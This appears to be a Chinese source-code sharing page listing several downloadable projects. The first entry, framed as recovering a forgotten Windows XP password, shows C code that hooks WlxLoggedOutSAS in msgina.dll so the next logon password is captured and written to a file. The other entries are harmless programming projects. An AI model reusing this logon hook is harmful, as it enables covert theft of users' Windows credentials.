Chat工程

应用背景当忘记XP系统密码时，可以编译getInfo的dll和exe，执行getInfoRun.exe在下次登录时就可以获取密码了，密码文件保存在windows根目录下的getPwdout.txt文件中关键技术DWORD WINAPI StartHook(LPVOID lpParam) { //得到msgina.dll //hooktable.hMsgina  int n = 0; hooktable.hMsgina = LoadLibrary("msgina.dll"); n  = GetLastError(); if (NULL == hooktable.hMsgina) { printf("getmoduleHandle msgina.dll error"); return -1; } //得到WlxLoggedOutSAS hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS"); if (NULL == hooktable.OldADDR) { printf("GetProcAddress WlxLoggedOutSAS error"); return -1; } int *OpCode = (int*)&hooktable.charJmpCode[1]; int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5; *OpCode = Code; HookWlxLoggedOutSAS(); return 0; }

Extended C codes for door bell with melody and volume

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在vc++环境中使用opengl语言显示中文字体-In vc++ environment using the opengl language display Chinese characters

vb 编写的连杆机构 精确 计算及演示动画-vb prepared by the linkage and accurate calculation Animation

windows CE 开发的教程 介绍了 Windows CE 的一些基本特性，并指出过渡到基于无线装置的软件开发所应具备的知识-windows CE Development Windows CE tutorials presented some basic characteristics, and pointed out that the transition to wireless devices based on the software development knowledge should be

一个简单的网络猜数字程序 程序简单易懂 适合初学者使用-a simple network tones procedures are simple procedures for beginners

球面映射 使用OpenGL和visual c++实现-Mapping

资源管理的界面代码 资源管理的界面代码 资源管理的界面代码-Resources management, resource management interface code interface code resource management interface code

修改网卡MAC地址，比较方便-Ethernet MAC address changes, more convenient